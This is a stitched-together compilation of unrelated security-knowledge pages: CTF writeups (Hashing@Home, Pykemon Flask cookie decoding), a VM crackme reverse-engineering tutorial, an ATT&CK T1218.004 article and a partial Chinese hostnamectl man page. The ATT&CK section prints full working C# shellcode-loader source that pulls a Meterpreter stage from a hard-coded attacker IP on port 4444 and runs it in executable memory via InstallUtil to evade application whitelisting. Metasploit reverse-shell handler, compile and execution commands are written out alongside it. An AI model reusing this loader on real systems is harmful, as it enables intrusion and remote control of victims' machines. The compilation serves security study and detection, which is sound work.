<https://blog.csdn.net/qq_40989258/article/details/105274370>
|
sec-knowleage
|
# Writeup Secuinside CTF 2016
Team: c7f.m0d3, cr019283, nazywam, other19, rev, msm, shalom
### Table of contents
* [SBBS (Web)](SBBS)
* [Trendyweb (Web)](trendyweb)
|
sec-knowleage
|
# Hashing@Home (pwn, 231+10 pts, 14 solved)
The server uses the memory addresses of `hash_rpc_context` structures as request ids to track work delegated to its clients.
However the verification of any request ids received by the server in client responses is insufficient and the clients may abuse this to overwrite any memory locations that pass simple check for valid `hash_rpc_context` structure header.
Further, it is possible for the clients to sent arbitrary response data to be stored as `data_to_hash` member of existing `hash_rpc_context` structures in server memory.
This allows the clients to craft fake `hash_rpc_context` structures that pass server checks.
The above may be used to read arbitrary server memory by overwriting `hash_rpc_context` structure of `first_context` and next triggering `hash_together_the_first_two`.
This xors arbitrary memory location with known bytes and sends result as new request to the client.
My [exploit](exploit.py) uses this to extract content of `key_bytes` containing the flag.
|
sec-knowleage
|
Trivia 1 (trivia, 10p, 1083 solves)
> This vulnerability occurs when the incorrect timing/sequence of events may cause a bug.
Race condition
|
sec-knowleage
|
# T1218-004-win-基于白名单Installutil.exe执行payload
## 来自ATT&CK的描述
命令行实用程序InstallUtil可用于通过执行.NET二进制文件中指定的特定安装程序组件来安装和卸载资源。
InstallUtil位于Windows系统上的.NET目录中：
C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe
InstallUtil.exe由Microsoft进行数字签名。攻击者可能会使用InstallUtil通过受信任的Windows实用程序来代理执行代码。攻击者还可以用Installutil来绕过进程白名单，方法是在二进制文件中使用属性，这些属性执行用属性[System.ComponentModel.RunInstaller(true)]修饰的类。
## 测试案例
说明：Installutil.exe所在路径没有被系统添加PATH环境变量中，因此，Installutil命令无法识别。
补充说明：在高版本操作系统中，可以通过配置策略，对进程命令行参数进行记录。日志策略开启方法：`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`，同样也可以在不同版本操作系统中部署sysmon，通过sysmon日志进行监控。
## 检测日志
windows 安全日志/SYSMON日志（需要自行安装）
## 测试复现
### 环境准备
攻击机：Kali2019
靶机：windows server 2012
### 攻击分析
#### x64 CS
```cs
using System;using System.Net;using System.Linq;using System.Net.Sockets;using System.Runtime.InteropServices;using System.Threading;using System.Configuration.Install;using System.Windows.Forms;
public class GQLBigHgUniLuVx {
public static void Main()
{
while(true)
{{ MessageBox.Show("doge"); Console.ReadLine();}}
}
}
[System.ComponentModel.RunInstaller(true)]
public class esxWUYUTWShqW : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu)
{
jkmhGrfzsKQeCG.LCIUtRN();
}
}
public class jkmhGrfzsKQeCG
{ [DllImport("kernel")] private static extern UInt32 VirtualAlloc(UInt32 YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32 KIheHEUxhAfOI);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UInt32 jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pRIwbzTTS, UInt32 eRLAWWYQnq);
static byte[] ErlgHH(string ZwznjBJY,int KsMEeo) {
IPEndPoint qAmSXHOKCbGlysd = new IPEndPoint(IPAddress.Parse(ZwznjBJY), KsMEeo);
Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { XXxIoIXNCle.Connect(qAmSXHOKCbGlysd); }
catch { return null;}
byte[] UmquAHRnhhpuE = new byte[4];
XXxIoIXNCle.Receive(UmquAHRnhhpuE,4,0);
int kFVRSNnpj = BitConverter.ToInt32(UmquAHRnhhpuE,0);
byte[] qaYyFq = new byte[kFVRSNnpj +5];
int SRCDELibA =0;
while(SRCDELibA < kFVRSNnpj)
{ SRCDELibA += XXxIoIXNCle.Receive(qaYyFq, SRCDELibA +5,(kFVRSNnpj - SRCDELibA)<4096 ? (kFVRSNnpj - SRCDELibA) : 4096,0);}
byte[] TvvzOgPLqwcFFv =BitConverter.GetBytes((int)XXxIoIXNCle.Handle);
Array.Copy(TvvzOgPLqwcFFv,0, qaYyFq,1,4); qaYyFq[0]=0xBF;
return qaYyFq;}
static void cmMtjerv(byte[] HEHUjJhkrNS) {
if(HEHUjJhkrNS !=null) {
UInt32 WcpKfU = VirtualAlloc(0,(UInt32)HEHUjJhkrNS.Length,0x1000,0x40);
Marshal.Copy(HEHUjJhkrNS,0,(IntPtr)(WcpKfU), HEHUjJhkrNS.Length);
IntPtr UhxtIFnlOQatrk = IntPtr.Zero;
UInt32 wdjYKFDCCf =0;
IntPtr XVYcQxpp = IntPtr.Zero;
UhxtIFnlOQatrk = CreateThread(0,0, WcpKfU, XVYcQxpp,0, ref wdjYKFDCCf);
WaitForSingleObject(UhxtIFnlOQatrk,0xFFFFFFFF); }}
public static void LCIUtRN() {
byte[] IBtCWU =null; IBtCWU = ErlgHH("192.168.126.146",4444);
cmMtjerv(IBtCWU);
} }
```
#### 编译payload
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micropoor.exe /unsafe C:\Users\Administrator\Desktop\a\installutil.cs
```
#### 执行监听
攻击机,注意配置set AutoRunScript migrate f (AutoRunScript是msf中一个强大的自动化的后渗透工具，这里migrate参数是迁移木马到其他进程)
```bash
msf5 > use exploits/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.126.146
lhost => 192.168.126.146
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit
```
#### 执行payload
```cmd
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U Micropoor.exe
```
#### 反弹shell
## 测试留痕
```bash
EventID:4688 #安全日志，windows server 2012以上配置审核策略，可对命令参数进行记录
```
## 检测规则/思路
无具体检测规则，可根据进程创建事件4688/1（进程名称、命令行）进行监控。本监控方法需要自行安装配置审核策略Sysmon。
## 参考推荐
MITRE-ATT&CK-T1218-004
<https://attack.mitre.org/techniques/T1218/004/>
基于白名单Installutil.exe执行payload
<https://micro8.gitbook.io/micro8/contents-1/71-80/72-ji-yu-bai-ming-dan-installutil.exe-zhi-hang-payload-di-er-ji>
基于白名单的Payload
<https://blog.csdn.net/weixin_30790841/article/details/101848854>
|
sec-knowleage
|
# 虚拟机分析
有关虚拟机分析部分, 我们以一道简单的crackme来进行讲解.
对应的`crackme`可以点击此处下载: [FuelVM.exe](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/FuelVM.exe)
对应的`keygenme`可以点击此处下载: [fuelvm_keygen.py](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/fuelvm_keygen.py)
对应的`IDA数据库`可以点击此处下载: [FuelVM.idb](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/FuelVM.idb)
本题作者设计了一个具有多种指令的简单虚拟机. 我们使用IDA来进行分析. 并为了方便讲解, 我对反汇编出的一些变量重新进行了命名.
## 运行程序
我们运行程序 FuelVM.exe. 界面如下所示
在这个界面中, 我们看到右两个输入框, 一个用于输入用户名Name, 另一个则用于输入密钥Key. 还有两个按钮, Go用于提交输入, 而Exit则用于退出程序.
## 获取用户输入
那么我们就可以从这里入手. 程序想获取用户输入, 需要调用的一个API是`GetDlgItemTextA()`
``` c
UINT GetDlgItemTextA(
HWND hDlg,
int nIDDlgItem,
LPSTR lpString,
int cchMax
);
```
获取的输入字符串会保存在`lpString`里. 那么我们就可以打开IDA查找有交叉引用`GetDlgItemTextA()`的地方.
``` asm
.text:00401142 push 0Ch ; cchMax
.text:00401144 push offset inputName ; lpString
.text:00401149 push 3F8h ; nIDDlgItem
.text:0040114E push [ebp+hWnd] ; hDlg
.text:00401151 call GetDlgItemTextA
.text:00401156 push 0Ch ; cchMax
.text:00401158 push offset inputKey ; lpString
.text:0040115D push 3F9h ; nIDDlgItem
.text:00401162 push [ebp+hWnd] ; hDlg
.text:00401165 call GetDlgItemTextA
.text:0040116A mov var_a, 0
.text:00401171 call process_input
.text:00401176 jmp short locExit
```
如上, IDA只有这里调用过`GetDlgItemTextA`并且调用了两次分别获取`inputName`和`inputKey`. 随后初始化了一个变量为0, 因为还不明白这个变量的作用, 因此先重命名为`var_a`. 之后进行了一次函数调用并jmp跳转. 因为jmp跳转位置的代码是一些退出程序的代码, 因此我们可以断定上面的这个call, 是在调用处理用户输入的函数. 因此将jmp的位置重命名为`locExit`, 函数则重命名为`process_input`.
## 处理用户输入
我们进入`process_input`函数, 该函数仅仅对输入字符串进行了很简单的处理.
```c
result = strlength((int)inputName);
if ( v1 >= 7 ) // v1 = length of inputName
{
*(_DWORD *)&lenOfName = v1;
result = strlength((int)inputKey);
if ( v2 >= 7 ) // v2 = length of inputKey
{
i = 0;
do
{
inputName[i] ^= i;
++i;
}
while ( i <= *(_DWORD *)&lenOfName );
unk_4031CE = i;
dword_4031C8 = dword_4035FF;
initVM();
initVM();
__debugbreak();
JUMPOUT(*(_DWORD *)&word_4012CE);
}
}
return result;
```
首先是这个`strlength()`函数. 函数使用`cld; repne scasb; not ecx; dec ecx`来计算字符串长度并将结果保存在`ecx`里. 是汇编基础知识就不多介绍. 所以我们将该函数重命名为`strlength`
```asm
.text:004011C2 arg_0 = dword ptr 8
.text:004011C2
.text:004011C2 push ebp
.text:004011C3 mov ebp, esp
.text:004011C5 mov edi, [ebp+arg_0]
.text:004011C8 sub ecx, ecx
.text:004011CA sub al, al
.text:004011CC not ecx
.text:004011CE cld
.text:004011CF repne scasb
.text:004011D1 not ecx
.text:004011D3 dec ecx
.text:004011D4 leave
.text:004011D5 retn 4
.text:004011D5 strlength endp
```
而在IDA生成的伪C代码处有`v1`和`v2`, 我对其进行了注解, 可以看汇编, 里面是使用`ecx`与`7`进行比较, 而`ecx`是字符串的长度, 于是我们可以知道, 这里对输入的要求是: *inputName 和 inputKey 的长度均不少于 7*
当`inputName`和`inputKey`长度均不少于7时, 那么就可以对输入进行简单的变换. 以下是一个循环
```c
i = 0;
do
{
inputName[i] ^= i;
++i;
}
while ( i <= *(_DWORD *)&lenOfName );
```
对应的python代码即
``` python
def obfuscate(username):
s = ""
for i in range(len(username)):
s += chr(ord(username[i]) ^ i)
return s
```
函数之后对一些变量进行了赋值(这些并不重要, 就忽略不讲了.)
## 注册SEH
```asm
.text:004012B5 push offset seh_handler
.text:004012BA push large dword ptr fs:0
.text:004012C1 mov large fs:0, esp
.text:004012C8 call initVM
.text:004012CD int 3 ; Trap to Debugger
```
`initVM`完成的是一些虚拟机启动前的初始化工作(其实就是对一些寄存器和相关的部分赋初值), 我们之后来讨论. 这里我们关注的是SEH部分. 这里注册了一个SEH句柄, 异常处理函数我重命名为`seh_handler`, 并之后使用`int 3`手动触发异常. 而在`seh_handler`位置, IDA并未正确识别出对应的代码
```
.text:004012D7 seh_handler db 64h ; DATA XREF: process_input+7Do
.text:004012D8 dd 58Fh, 0C4830000h, 13066804h, 0FF640040h, 35h, 25896400h
.text:004012D8 dd 0
.text:004012F4 dd 1B8h, 0F7C93300h, 0F7C033F1h, 0FFC483E1h, 8F64FDEBh
.text:004012F4 dd 5, 4C48300h, 40133068h, 35FF6400h, 0
.text:0040131C dd 258964h, 33000000h, 33198BC9h, 83E1F7C0h, 0FDEBFFC4h
.text:0040131C dd 58F64h, 83000000h, 5E6804C4h, 64004013h, 35FFh, 89640000h
.text:0040131C dd 25h, 0C033CC00h, 0C483E1F7h, 83FDEBFFh, 4035FF05h, 0D8B0200h
.text:0040131C dd 4035FFh, 3000B1FFh, 58F0040h, 4031C8h, 31C83D80h, 750A0040h
.text:0040131C dd 0B1FF4176h, 403000h, 31C8058Fh, 3D800040h, 4031C8h
```
我们可以点击相应位置按下`c`键, 将这些数据转换成代码进行识别. (我们需要按下多次c键进行转换), 得到如下代码.
如下, 在`seh_handler`位置, 又用类似的方法注册了一个位于`401306h`的异常处理函数, 并通过`xor ecx,ecx; div ecx`手动触发了一个`除0异常`. 而在`loc_401301`位置, 这是一个反调试技巧, `jmp loc_401301+2`会使得`EIP`转向一条指令中间, 使得无法继续调试. 所以我们可以将`00401301~00401306`部分的代码`nop`掉, 然后在`00401306`位置创建一个新函数`seh_handler2`
```
seh_handler: ; DATA XREF: process_input+7Do
.text:004012D7 pop large dword ptr fs:0
.text:004012DE add esp, 4
.text:004012E1 push 401306h
.text:004012E6 push large dword ptr fs:0
.text:004012ED mov large fs:0, esp
.text:004012F4 mov eax, 1
.text:004012F9 xor ecx, ecx
.text:004012FB div ecx
.text:004012FD xor eax, eax
.text:004012FF mul ecx
.text:00401301
.text:00401301 loc_401301: ; CODE XREF: .text:00401304j
.text:00401301 add esp, 0FFFFFFFFh
.text:00401304 jmp short near ptr loc_401301+2
.text:00401306 ; ---------------------------------------------------------------------------
.text:00401306 pop large dword ptr fs:0
.text:0040130D add esp, 4
.text:00401310 push 401330h
.text:00401315 push large dword ptr fs:0
.text:0040131C mov large fs:0, esp
.text:00401323 xor ecx, ecx
.text:00401325 mov ebx, [ecx]
.text:00401327 xor eax, eax
.text:00401329 mul ecx
```
类似的, 还有`401330h`重命名为`seh_handler3`, 而`40135Eh`是最后一个注册的异常处理函数, 我们可以推测这才是虚拟机真正的main函数, 因此我们将`40135Eh`重命名为`vm_main`. (有关SEH和反调试的部分, 可以推荐大家自己去动态调试一番弄清楚)
## 恢复堆栈平衡
我们创建了一个`vm_main`函数(重命名后还需要创建函数, IDA才能识别), 然后按下`F5`提示失败, 失败的原因则是由于堆栈不平衡导致的. 因此我们可以点击IDA菜单项`Options->General`在右侧勾选`stack pointer`. 这样就会显示出对应的栈指针.
```
.text:004017F2 000 jmp vm_main
.text:004017F7 ; ---------------------------------------------------------------------------
.text:004017F7 000 push 0 ; uType
.text:004017F9 004 push offset aError ; "Error"
.text:004017FE 008 push offset Text ; "The key is wrong."
.text:00401803 00C push 0 ; hWnd
.text:00401805 010 call MessageBoxA
.text:0040180A
.text:0040180A locret_40180A: ; CODE XREF: vm_main+492j
.text:0040180A 000 leave
.text:0040180B -04 leave
.text:0040180C -08 leave
.text:0040180D -0C leave
.text:0040180E -10 leave
.text:0040180F -14 leave
.text:00401810 -18 leave
.text:00401811 -1C retn
.text:00401811 vm_main endp ; sp-analysis failed
```
我们来到最下显示不平衡的位置. 最上的`jmp vm_main`表明虚拟机内在执行一个循环. 而`MessageBoxA`的调用则是显示最后弹出的错误信息. 而在`locret_40180A`位置处, 经过多次leave堆栈严重不平衡, 因此我们需要手动恢复堆栈平衡.
这里也很简单, 在`0040180A`位置已经堆栈平衡了(000), 因此我们只需要将这一句`leave`修改为`retn`就可以了. 如下这样
```
.text:0040180A locret_40180A: ; CODE XREF: vm_main+492j
.text:0040180A 000 retn
.text:0040180B ; ---------------------------------------------------------------------------
.text:0040180B 004 leave
.text:0040180C 004 leave
.text:0040180D 004 leave
```
然后你就可以发现`vm_main`可以F5生成伪C代码了.
## 虚拟机指令分析
说实话, 虚拟机的分析部分是一个比较枯燥的还原过程, 你需要比对各个小部分的操作来判断这是一个怎样的指令, 使用的是哪些寄存器. 像这个crackme中, vm进行的是一个`取指-译码-执行`的循环. `译码`过程可给予我们的信息最多, 不同的指令都会在这里, 根据它们各自的`opcode`, 使用`if-else if-else`分支进行区分. 实际的还原过程并不复杂, 但有可能会因为虚拟机实现的指令数量而显得有些乏味.
最后分析出的结果如下:
| opcode | value |
| ------ | ----- |
| push | 0x0a |
| pop | 0x0b |
| mov | 0x0c |
| cmp | 0x0d |
| inc | 0x0e |
| dec | 0x0f |
| and | 0x1b |
| or | 0x1c |
| xor | 0x1d |
| check | 0xff |
我们再来看分析后的`initVM`函数
```c
int initVM()
{
int result; // eax@1
r1 = 0;
r2 = 0;
r3 = 0;
result = (unsigned __int8)inputName[(unsigned __int8)cur_index];
r4 = (unsigned __int8)inputName[(unsigned __int8)cur_index];
vm_sp = 0x32;
vm_pc = 0;
vm_flags_zf = 0;
vm_flags_sf = 0;
++cur_index;
return result;
}
```
这里有4个通用寄存器(`r1/r2/r3/r4`), 1个`sp`指针和1个`pc`指针, 标志`zf`和`sf`. 先前我们不知道的`var_a`也被重命名为`cur_index`, 指向的是`inputName`当前正在处理的字符索引.
对于VM实现的多个指令我们就不再多说, 重点来看下`check`部分的操作.
```c
int __fastcall check(int a1)
{
char v1; // al@1
int result; // eax@4
v1 = r1;
if ( (unsigned __int8)r1 < 0x21u )
v1 = r1 + 0x21;
LOBYTE(a1) = cur_index;
if ( v1 == inputKey[a1] )
{
if ( (unsigned __int8)cur_index >= (unsigned __int8)lenOfName )
result = MessageBoxA(0, aGoodJobNowWrit, Caption, 0);
else
result = initVM();
}
else
{
result = MessageBoxA(0, Text, Caption, 0);
}
return result;
}
```
如果`r1`中的值跟`inputKey[cur_index]`相等, 那么会继续判断是否已经检查完了整个`inputName`, 如果没有出错且比对结束, 那么就会弹出`Good job! Now write a keygen.`的消息框. 否则会继续`initVM`进入下一轮循环.(出错了当然是弹出消息框提示错误了. )
`cur_index`会在`initVM`中自增1, 那么还记得之前在`process_input`里有执行2次`initVM`吗. 因为有执行2次`initVM`, 所以我们的`inputKey`的前2位可以是任意字符.
```c
unk_4031CE = i;
opcode = vm_pc;
initVM();
initVM();
__debugbreak();
JUMPOUT(*(_DWORD *)&word_4012CE);
```
故而我们分析完了整个虚拟机, 便可以开始着手编写`Keygen`.
对应的`keygenme`可以点击此处下载: [fuelvm_keygen.py](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/fuelvm_keygen.py)
```bash
$ python2 fuelvm_keygen.py ctf-wiki
[*] Password for user 'ctf-wiki' is: 4mRC*TKJI
```
对应的`IDA数据库`可以点击此处下载: [FuelVM.idb](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/FuelVM.idb)
|
sec-knowleage
|
# Pykemon (web, 151p)
## ENG
[PL](#pl-version)
We get access to a simple [Python Flask webapp](pykemon.zip).
The application displays on the screen some pokemon and a flag among them.
We can click on them to "catch".
By looking in the source code of the application we can see that it's actually impossible to catch a flag, since it's "rarity" has value 0.
We instantly noticed that the cookie for this page was really big, and was changing with the state of the game changes.
This suggested to us that the game state might be stored there.
Checking in the source code proved this is true.
More importantly this meant also the pokemon "descriptions" were there, including the flag!
It actually turned out to be an unintended solution to the task, because the author did not know that decoding Flask cookie is trivial.
The inteded solution was a template injection in the pokemon nickname.
We noticed that there was some vulnerability there, which we initially considered some stored XSS at most, but since we found the cookie, we went this way.
So we basically take the cookie, decode it and read the flag value from the game state:
```python
import base64
import zlib
from flask import json
from itsdangerous import base64_decode, base64_encode
def decode(cookie):
compressed = False
payload = cookie
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data.decode("utf-8")
def main():
session = ".eJy9V11zojAU_Ss7PPsAUdriTB82bQE7lY648pGdzg4kLFECMiJFdPrf96L9sFbbfdC-kXvzdc49OQkrKQyEKKSuIrckGpQxn0vdlZTXSZROM6n7--GpJc2m0_R9dCWxqKCzcT4fN-2V9COUutLIFDJDF3Hg9WN_iAeRO-ehq5U9w6qJq8vEHcR-lsQEOSXx7Nyv8dx31ZyaTuFDO0SdSwnW47nUVdWWlAVptDv5ukM2psnBZD5mu3HFGlyuc7NgNp7XG7RFDt9vUwSuwmFjy7s2VpnJHu8yXJKqGfbUOj3cDjoiXLkfnwLujTWys_l937T_Wrq2DK71MnI0yzLoIljaNTXlVzhteQeOnSywXV3uh7Od3Iazji_71TaUT5AgUvguLamhZt9TtLOLIxYN3f88QdEcxEU4xnJgiGVPx2qA9DlAiCkSJWn3i54h5J6hCpY6dc_EnHmWoDWWwxqPaepwZnBx96ymNWTlI-SMoEXDT0riAwXe12mHgrf8xF9s06B-TgNBrAg8rJDU_4_KQwV5r6HCsAAqVLPtwLcoe6Y9JUMsItMGFSjibox1oATibBq4C7GhqRmnL0PDEfSqAgWBUpBW0rbNw8wuoiGGnVigIBX63ao9Q3lkKdBc45yZ_RjUVQO1nKaaEqaD8oVStM_pmo0eVNFLcldFTbw_Gb1TkfaFigxd9odqFab0G1Wk7jk4x1bRqHMSFR2bivOz01NB0ckO1NGu-_OjXvfVKazU4DlUcgsm59AW4AcTZt7mPhJyNFSWzNDqwFUzqP4jc60pAXoahQSe3fjOlLjOjNadGOYTFI1i38NV4w3gQY_gGwI8Zd540du8ehGaCXgNrJcyQa5wwrzbHI5s3KgJ1JYTxOVXr9qochKYI1DlQhAPL7cVp-2heubDRtngsNreddihfJP7lbS3Ke98TvnzBr9RYRfaERXWuT_RgzIBxcw2N81NHLlOERpae9tnoOKcXeGagK-E7m1BNtQ8j9NqUFBODSfx3SqmxoIzU1TM67_R0PlIw3rwIRpekzs0rOP314N3NJx94S2mMwnq19vmofXyS_GHTssM_jwUeAbPmnXkp6d__PP4oA.C90P4g.yJA29lcU7LN3k40oLYnA6cN9r8M"
session_decoded = decode(session)
print(session_decoded)
loaded = json.loads(session_decoded)
room = loaded['room']
pykemons = room['pykemon']
for pykemon in pykemons:
desc = pykemon['description']
print(base64.b64decode(desc.items()[0][1]))
main()
```
And we find: `PCTF{N0t_4_sh1ny_M4g1k4rp}`
## PL version
Dostajemy dostęp do prostej [Pythonowej aplikacji we Flasku](pykemon.zip).
Aplikacja wyświetla na ekranie pokemony oraz flagę.
Możemy klikać na nie żeby je "złapać".
Z kodu źródłowego wynika, że nie da się złapać flagi ponieważ ma "rarity" ustawione na 0.
Szybko zauważyliśmy, że cookie na tej stronie było bardzo duże i zmieniało się wraz ze zmiane stanu gry.
To sugerowało że stan gry może być tam przechowywany.
Sprawdzenie kodu źródłowego dowodziło że faktycznie tak jest.
Co więcej znajduje się tam tez pole "description" które zawiera flagę!
Okazało się później, że ta metoda była zupełnie niezamierzona i autor zadania nie wiedział ze cookie Flaska łatwo zdekodować.
Oczekiwane rozwiązanie polegało na template injection w nickname pokemona.
Zauważliśmy też podatność w nickname, chociaż początkowo uznaliśmy ją za stored XSS, ale widząc cookie uznaliśmy, że pójdziemy w tym kierunku.
Zdekodowaliśmy więc cookie ze stanem gry:
```python
import base64
import zlib
from flask import json
from itsdangerous import base64_decode, base64_encode
def decode(cookie):
compressed = False
payload = cookie
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data.decode("utf-8")
def main():
session = ".eJy9V11zojAU_Ss7PPsAUdriTB82bQE7lY648pGdzg4kLFECMiJFdPrf96L9sFbbfdC-kXvzdc49OQkrKQyEKKSuIrckGpQxn0vdlZTXSZROM6n7--GpJc2m0_R9dCWxqKCzcT4fN-2V9COUutLIFDJDF3Hg9WN_iAeRO-ehq5U9w6qJq8vEHcR-lsQEOSXx7Nyv8dx31ZyaTuFDO0SdSwnW47nUVdWWlAVptDv5ukM2psnBZD5mu3HFGlyuc7NgNp7XG7RFDt9vUwSuwmFjy7s2VpnJHu8yXJKqGfbUOj3cDjoiXLkfnwLujTWys_l937T_Wrq2DK71MnI0yzLoIljaNTXlVzhteQeOnSywXV3uh7Od3Iazji_71TaUT5AgUvguLamhZt9TtLOLIxYN3f88QdEcxEU4xnJgiGVPx2qA9DlAiCkSJWn3i54h5J6hCpY6dc_EnHmWoDWWwxqPaepwZnBx96ymNWTlI-SMoEXDT0riAwXe12mHgrf8xF9s06B-TgNBrAg8rJDU_4_KQwV5r6HCsAAqVLPtwLcoe6Y9JUMsItMGFSjibox1oATibBq4C7GhqRmnL0PDEfSqAgWBUpBW0rbNw8wuoiGGnVigIBX63ao9Q3lkKdBc45yZ_RjUVQO1nKaaEqaD8oVStM_pmo0eVNFLcldFTbw_Gb1TkfaFigxd9odqFab0G1Wk7jk4x1bRqHMSFR2bivOz01NB0ckO1NGu-_OjXvfVKazU4DlUcgsm59AW4AcTZt7mPhJyNFSWzNDqwFUzqP4jc60pAXoahQSe3fjOlLjOjNadGOYTFI1i38NV4w3gQY_gGwI8Zd540du8ehGaCXgNrJcyQa5wwrzbHI5s3KgJ1JYTxOVXr9qochKYI1DlQhAPL7cVp-2heubDRtngsNreddihfJP7lbS3Ke98TvnzBr9RYRfaERXWuT_RgzIBxcw2N81NHLlOERpae9tnoOKcXeGagK-E7m1BNtQ8j9NqUFBODSfx3SqmxoIzU1TM67_R0PlIw3rwIRpekzs0rOP314N3NJx94S2mMwnq19vmofXyS_GHTssM_jwUeAbPmnXkp6d__PP4oA.C90P4g.yJA29lcU7LN3k40oLYnA6cN9r8M"
session_decoded = decode(session)
print(session_decoded)
loaded = json.loads(session_decoded)
room = loaded['room']
pykemons = room['pykemon']
for pykemon in pykemons:
desc = pykemon['description']
print(base64.b64decode(desc.items()[0][1]))
main()
```
A tam znaleźliśmy: `PCTF{N0t_4_sh1ny_M4g1k4rp}`
|
sec-knowleage
|
'\" t
.TH "HOSTNAMECTL" "1" "" "systemd 231" "hostnamectl"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
hostnamectl \- 控制系统的主机名
.SH "SYNOPSIS"
.HP \w'\fBhostnamectl\fR\ 'u
\fBhostnamectl\fR [OPTIONS...] {COMMAND}
.SH "描述"
.PP
\fBhostnamectl\fR
可用于查询与修改系统主机名以及其他相关设置。 所谓"主机名"，其实有三种不同的含义：
.PP
"pretty"主机名，仅供人类阅读，可以包含各种特殊字符， 例如"Lennart\*(Aqs Laptop"(必须是UTF\-8编码)。 pretty(易读主机名)、chassis(设备类型)、icon(图标名称)存储在
/etc/machine\-info
文件中， 详见
\fBmachine-info\fR(5)
手册。
.PP
"static"主机名，用于在系统启动时设置内核的主机名，仅可包含 "\-","a\-z","0\-9" 字符，例如"lennarts\-laptop"。 此种主机名就是通常所说的"主机名"，存储在
/etc/hostname
文件中， 详见
\fBhostname\fR(5)
手册。
.PP
"transient"主机名，是从网络配置中获得的 fallback 主机名， 同样仅可包含 "\-","a\-z","0\-9" 字符。 如果存在"static"主机名且不等于"localhost"， 那么将忽略"transient"主机名。
.PP
可以使用
\fBsystemd-firstboot\fR(1)
初始化已挂载(但未启动)的系统镜像的主机名(hostname)。
.SH "选项"
.PP
能够识别的命令行选项如下：
.PP
\fB\-\-no\-ask\-password\fR
.RS 4
在执行特权操作时不向用户索要密码。
.RE
.PP
\fB\-\-static\fR, \fB\-\-transient\fR, \fB\-\-pretty\fR
.RS 4
与默认的
\fBstatus\fR
命令一起使用， 表示仅显示特定的主机名(不可同时使用多个选项)。
.sp
与
\fBset\-hostname\fR
命令一起使用， 表示仅更新特定的主机名(可以同时使用多个选项)。
.RE
.PP
\fB\-H\fR, \fB\-\-host=\fR
.RS 4
操作指定的远程主机。可以仅指定一个主机名(hostname)， 也可以使用
"username@hostname"
格式。 hostname 后面还可以加上容器名(以冒号分隔)， 也就是形如
"hostname:container"
的格式， 以表示直接连接到指定主机的指定容器内。 操作将通过SSH协议进行，以确保安全。 可以通过
\fBmachinectl \-H \fR\fB\fIHOST\fR\fR
命令列出远程主机上的所有容器名称。
.RE
.PP
\fB\-M\fR, \fB\-\-machine=\fR
.RS 4
在本地容器内执行操作。 必须明确指定容器的名称。
.RE
.PP
\fB\-h\fR, \fB\-\-help\fR
.RS 4
显示简短的帮助信息并退出。
.RE
.PP
\fB\-\-version\fR
.RS 4
显示简短的版本信息并退出。
.RE
.PP
能够识别的命令如下：
.PP
\fBstatus\fR
.RS 4
显示当前的主机名及其他相关信息。 这是默认命令。
.RE
.PP
\fBset\-hostname \fR\fB\fINAME\fR\fR
.RS 4
将系统的主机名设为
\fINAME\fR
。 如果使用了
\fB\-\-static\fR,
\fB\-\-transient\fR,
\fB\-\-pretty\fR
选项， 那么只更新指定的主机名， 否则同时更新 pretty, static, transient 三个主机名。 如果在设置 pretty 主机名的同时也设置 static/transient 主机名， 那么 static/transient 主机名将根据如下规则从 pretty 主机名派生而来： 首先将空格替换为
"\-"
， 然后将大写字母转换为小写字母， 最后删除不在"\-","a\-z","0\-9"范围内的字符。 这样可以确保 static/transient 主机名始终保持与 pretty 主机名一致， 同时又不违反自身的命名规则。 如果仅设置 static/transient 主机名， 则不会对 pretty 主机名产生任何影响。
.sp
注意，若设为空字符串， 则表示将主机名重置为默认值(通常是
"localhost")。
.RE
.PP
\fBset\-icon\-name \fR\fB\fINAME\fR\fR
.RS 4
将系统的图标名设为
\fINAME\fR
， 某些图形界面的应用程序会根据此设置给主机配上适当的图标。 此名称必须遵守
